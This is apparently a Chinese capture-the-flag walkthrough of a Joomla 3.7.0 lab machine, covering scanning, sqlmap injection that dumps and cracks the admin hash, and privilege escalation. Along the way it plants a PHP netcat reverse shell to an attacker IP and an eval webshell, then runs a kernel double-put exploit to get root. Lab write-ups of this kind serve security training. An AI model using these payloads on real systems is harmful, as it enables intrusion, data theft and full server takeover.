1. 靶机介绍
主要的内容有 sql 注入漏洞、joomla 框架漏洞、ssh 攻击、shell 反弹、提权
信息收集(ip、端口、目录、指纹信息)--->利用漏洞--->反弹---->提权
2. 信息收集
2.1. 扫描存活 ip
192.168.220.134
2.2. 端口扫描
nmap -T4 -A -p- 192.168.220.134
通过对端口扫描,发现对外开放了 80 端口,然后进行访问
还发现了当前主机的 CMS 是 Joomla
2.3. 敏感目录扫描
nikto -h 192.168.220.134
administrator/index.php
通过对敏感目录扫描,可以发现后台管理的登录页面,尝试访问:
2.4. 通过 joomscan 扫描相关的漏洞
joomscan --url http://192.168.220.134
2.5. 扫描 joomla存在的漏洞
searchsploit Joomla 3.7.0
结合漏洞的文件名叫 42033.txt,查找这个文件所在的具体位置
find / -name "42033.txt"
查看文件的内容
cat /usr/share/exploitdb/exploits/php/webapps/42033.txt
3.漏洞利用
3.1. sql 注入漏洞
sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
利用提供的 sqlmap 进行数据库爆破
sqlmap -u "http://192.168.220.134/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
sqlmap -u "http://192.168.220.134/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -p list[fullordering]
sqlmap -u "http://192.168.220.134/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T '#__users' --columns -p list[fullordering]
sqlmap -u "http://192.168.220.134/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T '#__users' -C 'name,password' --dump -p list[fullordering]
$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu
此时获取到账号和密码,但是密码被加密了
可以通过 kali 内置的 john 工具进行解密,首先需要将密文保存在一个 txt 文件中
vim jop.txt
john --show jop.txt
得到密码是snoopy
用户名admin
登录
3.2. shell 反弹
可以发现这个区域能够写入 php 代码,此时可以联想,1.可以写一句话木马,然后通过蚁剑连接,2.进行 shell 反弹,此时我们可以先新建一个 shell.php 文件,然后写入反弹的 shell
<?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.126.138 6666 >/tmp/f');?>
在 kali 中开启 nc 监听
nc -lvp 6666
接下来需要访问 shell.php 文件
http://192.168.220.134/templates/beez3/shell.php
使用 python 脚本设置命令行
python -c 'import pty;pty.spawn("/bin/bash")'
接下来尝试使用用户提权,发现行不通
sudo -l
可以尝试使用操作系统提权方式,先查看操作系统的版本信息
cat /etc/issue
3.3. 发现操作系统的漏洞
接下来搜索操作系统的漏洞
searchsploit Ubuntu 16.04
Privilege Escalation 权限升级
searchsploit -p linux/local/39772.txtcat /usr/share/exploitdb/exploits/linux/local/39772.txt
3.4. 利用操作系统漏洞
需要通过这个 39772.zip 这个压缩包来进行提权
在本地下载这个文件,然后通过蚁剑进行上传
首先先需要创建一个 one.php 文件并写入一句话木马
<?php @eval($_POST[123])?>
需要访问这个 one.php,让木马生效
接下来使用蚁剑来进行连接
进入服务器内容进行压缩包的解压
cd 39772lstar -xvf exploit.tar
3.5. 利用工具进行提权
进入目录并执行文件,最后提权成功
cd ebpf_mapfd_doubleput_exploit./compile.sh./doubleput
3.6. 找到最终的 flag
进入/root 目录,最终进行提权
cd /rootcat the-flag.txt